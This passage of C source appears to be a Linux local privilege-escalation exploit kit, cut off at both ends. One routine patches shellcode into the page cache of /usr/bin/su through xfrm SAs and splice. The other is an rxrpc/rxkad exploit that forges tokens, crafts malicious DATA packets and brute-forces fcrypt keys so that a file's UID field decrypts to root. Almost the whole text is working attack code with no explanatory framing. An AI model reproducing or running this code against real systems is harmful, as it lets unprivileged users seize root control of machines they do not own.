inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); /* still proceed regardless of splice rc — kernel may have already * decrypted the page in the time between splice and recv */ usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return s == 40 ? 0 : -1; } static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; } static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000); /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG("add_xfrm_sa #%d failed", i); return -1; } } SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); return -1; } } SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); return 0; } int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; else if (!strcmp(argv[i], "--corrupt-only")) ; /* compat: this body always corrupts only */ } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG("corruption stage failed (status=0x%x)", cstatus); return 1; } /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 * after our overwrite) should be 0x31 0xff (xor edi, edi — first * instruction of the new shellcode). */ if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG("post-write verify failed (target unchanged)"); return 1; } SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", ENTRY_OFFSET); return 0; } /* * rxrpc/rxkad LPE — uid=1000 → root */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif /* ---- rxrpc constants ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2 struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed)); struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed)); /* Attacker-chosen 8-byte session key used for the rxkad token. * Mutable because the LPE brute-force iterates over keys looking for * one that decrypts the file's UID field to a "0:" prefix. */ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 }; #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) /* =================================================================== */ /* unshare + map setup */ /* =================================================================== */ static int write_file(const char *path, const char *fmt, ...) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; char buf[256]; va_list ap; va_start(ap, fmt); int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); int r = (int)write(fd, buf, n); close(fd); return r; } static int do_unshare_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); return -1; } LOG("unshare(USER|NET) OK, real uid=%u", real_uid); write_file("/proc/self/setgroups", "deny"); if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { WARN("uid_map: %s", strerror(errno)); return -1; } if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { WARN("gid_map: %s", strerror(errno)); return -1; } LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", real_uid, real_gid); /* ifup lo */ int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); else LOG("lo brought UP in new netns"); } close(s); } return 0; } /* =================================================================== */ /* rxrpc key (rxkad v1 token with attacker session key) */ /* =================================================================== */ static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); } static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) { uint8_t *p = out; uint32_t now = (uint32_t)time(NULL); uint32_t expires = now + 86400; *(uint32_t *)p = htonl(0); p += 4; /* flags */ const char *cell = "evil"; uint32_t clen = strlen(cell); *(uint32_t *)p = htonl(clen); p += 4; memcpy(p, cell, clen); uint32_t pad = (4 - (clen & 3)) & 3; memset(p + clen, 0, pad); p += clen + pad; *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ uint8_t *toklen_p = p; p += 4; uint8_t *tokstart = p; *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ *(uint32_t *)p = htonl(1); p += 4; /* kvno */ memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ *(uint32_t *)p = htonl(now); p += 4; *(uint32_t *)p = htonl(expires); p += 4; *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ memset(p, 0xCC, 8); p += 8; /* ticket */ uint32_t toklen = (uint32_t)(p - tokstart); *(uint32_t *)toklen_p = htonl(toklen); if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } return (int)(p - out); } static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n < 0) return -1; return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); } /* =================================================================== */ /* AF_ALG pcbc(fcrypt) helpers */ /* =================================================================== */ static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { int s = socket(AF_ALG, SOCK_SEQPACKET, 0); if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } struct sockaddr_alg sa = { .salg_family = AF_ALG }; strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); close(s); return -1; } if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { WARN("ALG_SET_KEY: %s", strerror(errno)); close(s); return -1; } return s; } /* Encrypt-or-decrypt a 1+ block of data with a given IV. */ static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { int op_fd = accept(alg_s, NULL, NULL); if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } char cbuf[CMSG_SPACE(sizeof(int)) + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; struct msghdr msg = {0}; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_OP; c->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(c) = op; c = CMSG_NXTHDR(&msg, c); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_IV; c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); aiv->ivlen = 8; memcpy(aiv->iv, iv, 8); struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(op_fd, &msg, 0) < 0) { WARN("AF_ALG sendmsg: %s", strerror(errno)); close(op_fd); return -1; } ssize_t n = read(op_fd, out, inlen); close(op_fd); if (n != (ssize_t)inlen) { WARN("AF_ALG read got %zd want %zu: %s", n, inlen, strerror(errno)); return -1; } return 0; } /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) */ static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; uint8_t out[16]; int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); close(s); if (rc < 0) return -1; memcpy(csum_iv, out + 8, 8); return 0; } /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): * x = (cid_low2 << 30) | (seq & 0x3fffffff) * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) * PCBC-encrypt(buf, IV=csum_iv) → enc[8] * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 */ static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], uint16_t *cksum_out) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); x |= seq & 0x3fffffff; uint32_t in[2] = { htonl(call_id), htonl(x) }; uint32_t out[2]; int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); close(s); if (rc < 0) return -1; uint32_t y = ntohl(out[1]); uint16_t v = (y >> 16) & 0xffff; if (v == 0) v = 1; *cksum_out = v; return 0; } /* =================================================================== */ /* AF_RXRPC client */ /* =================================================================== */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; } int min_level = RXRPC_SECURITY_AUTH; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); close(fd); return -1; } struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { WARN("client bind :%u: %s", local_port, strerror(errno)); close(fd); return -1; } LOG("AF_RXRPC client bound :%u", local_port); return fd; } static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id, unsigned long user_call_id) { char data[8] = "PINGPING"; struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = service_id; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; struct msghdr msg = {0}; msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_RXRPC; cmsg->cmsg_type = RXRPC_USER_CALL_ID; cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; /* Don't block forever if no reply ever comes through this single sendmsg. */ int fl = fcntl(cli_fd, F_GETFL); fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(cli_fd, &msg, 0); fcntl(cli_fd, F_SETFL, fl); if (n < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) { LOG("client sendmsg returned EAGAIN (expected; kernel will keep " "retrying handshake)"); return 0; } WARN("client sendmsg: %s", strerror(errno)); return -1; } LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", n, srv_port); return 0; } /* =================================================================== */ /* fake-server (plain UDP) */ /* =================================================================== */ static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } struct sockaddr_in sa = {0}; sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr.s_addr = htonl(0x7F000001); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN("udp server bind :%u: %s", port, strerror(errno)); close(s); return -1; } LOG("plain UDP fake-server bound :%u", port); return s; } /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; int rc = poll(&pfd, 1, timeout_ms); if (rc <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); } /* =================================================================== */ /* main PoC */ /* =================================================================== */ static int trigger_seq = 0; static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) { char keyname[32]; snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); long key = add_rxrpc_key(keyname); if (key < 0) { if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); return -1; } /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ uint16_t port_S = 7777 + (trigger_seq * 2 % 200); uint16_t port_C = port_S + 1; uint16_t svc_id = 1234; int udp_srv = setup_udp_server(port_S); if (udp_srv < 0) { if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; } int rxsk_cli = setup_rxrpc_client(port_C, keyname); if (rxsk_cli < 0) { if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } uint8_t pkt[2048]; struct sockaddr_in cli_addr; ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; uint32_t epoch = ntohl(whdr_in->epoch); uint32_t cid = ntohl(whdr_in->cid); uint32_t callN = ntohl(whdr_in->callNumber); uint16_t svc_in = ntohs(whdr_in->serviceId); uint16_t cli_port = ntohs(cli_addr.sin_port); /* Send CHALLENGE */ { struct { struct rxrpc_wire_header hdr; struct rxkad_challenge ch; } __attribute__((packed)) c = {0}; c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.hdr.callNumber = 0; c.hdr.seq = 0; c.hdr.serial = htonl(0x10000); c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.serviceId = htons(svc_in); c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); c.ch.min_level = htonl(1); struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), .sin_addr.s_addr=htonl(0x7F000001) }; if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } } /* Drain RESPONSE (best-effort) */ for (int i = 0; i < 4; i++) { struct sockaddr_in src; if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; } /* csum + cksum with CURRENT SESSION_KEY */ uint8_t csum_iv[8] = {0}; if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } uint16_t cksum_h = 0; if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* Build malicious DATA header */ struct rxrpc_wire_header mal = {0}; mal.epoch = htonl(epoch); mal.cid = htonl(cid); mal.callNumber = htonl(callN); mal.seq = htonl(1); mal.serial = htonl(0x42000); mal.type = RXRPC_PACKET_TYPE_DATA; mal.flags = RXRPC_LAST_PACKET; mal.securityIndex = 2; mal.cksum = htons(cksum_h); mal.serviceId = htons(svc_in); /* connect udp_srv → client port for splice */ struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), .sin_addr.s_addr=htonl(0x7F000001) }; if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* pipe + vmsplice header + splice file → pipe → udp_srv */ int p[2]; if (pipe(p) < 0) { close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } { struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; } { loff_t off = splice_off; if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) goto trig_fail; } if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { goto trig_fail; } close(p[0]); close(p[1]); /* recvmsg the malicious DATA into the kernel's verify_packet path */ int fl = fcntl(rxsk_cli, F_GETFL); fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); for (int round = 0; round < 5; round++) { char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; struct msghdr m = {0}; struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; m.msg_name = &srx; m.msg_namelen = sizeof(srx); m.msg_iov = &iv; m.msg_iovlen = 1; m.msg_control = ccb; m.msg_controllen = sizeof(ccb); ssize_t r = recvmsg(rxsk_cli, &m, 0); if (r > 0) break; if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); else break; } fcntl(rxsk_cli, F_SETFL, fl); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return 0; trig_fail: close(p[0]); close(p[1]); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; } /* =================================================================== * USER-SPACE pcbc(fcrypt) BRUTE-FORCE * * The kernel's rxkad_verify_packet_1() does an in-place 8-byte * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice * offset. pcbc with single 8-B block and IV=0 reduces to a plain * fcrypt_decrypt(C, K). We can therefore search for the right K * entirely in user-space — without touching the kernel/VM at all — * before applying ONE deterministic kernel trigger. * * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). * Verified against kernel test vectors: * K=0, decrypt(0E0900C73EF7ED41) = 00000000 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 * =================================================================== */ static const uint8_t fc_sbox0_raw[256] = { 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, }; static const uint8_t fc_sbox1_raw[256] = { 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, }; static const uint8_t fc_sbox2_raw[256] = { 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 